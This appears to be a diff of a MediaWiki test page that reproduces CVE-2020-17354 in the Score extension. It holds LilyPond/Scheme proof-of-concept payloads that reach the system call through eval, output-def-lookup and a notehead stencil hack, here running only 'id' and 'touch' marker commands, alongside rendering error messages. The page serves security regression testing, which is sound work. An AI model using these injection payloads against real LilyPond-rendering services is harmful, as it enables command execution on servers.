|
|
| Line 69: |
Line 69: |
| (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | | (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) |
| (display "With output-def-lookup\n") | | (display "With output-def-lookup\n") |
| ((ly:output-def-lookup #{ \midi {} #} 'system) "id") | | ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-1") |
| ) | | ) |
| </score> | | </score> |
| Line 83: |
Line 83: |
| (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) | | (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) |
| (display "With output-def-lookup\n") | | (display "With output-def-lookup\n") |
| ((ly:output-def-lookup #{ \midi {} #} 'system) "id") | | ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-2") |
| ) | | ) |
| </score> | | </score> |
| Line 94: |
Line 94: |
| #(lambda (grob) | | #(lambda (grob) |
| ((cdr (assoc 'text | | ((cdr (assoc 'text |
| (cadr (ly:grob-alist-chain grob '())))) "id") | | (cadr (ly:grob-alist-chain grob '())))) "touch /var/www/mediawiki-test/images/lilypond/test-3") |
| #f) | | #f) |
| c4 | | c4 |
Normal
Unable to obtain LilyPond version:
/bin/bash: line 1: /usr/local/bin/lilypond: No such file or directory
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
Raw
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
Starling
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
Rest
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
ABC
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
CVE-2020-17354
See T259210; unable to reproduce with LilyPond 2.23.82, MediaWiki REL1_39, Score on master.
1. PoC from task:
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
2. Again, using raw=1:
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.
3. Notehead stencil hack PoC, contributed in comment from LilyPond developer Han-wen Nienhuys:
Could not execute LilyPond: /usr/local/bin/lilypond is not an executable file. Make sure $wgScoreLilyPond is set correctly.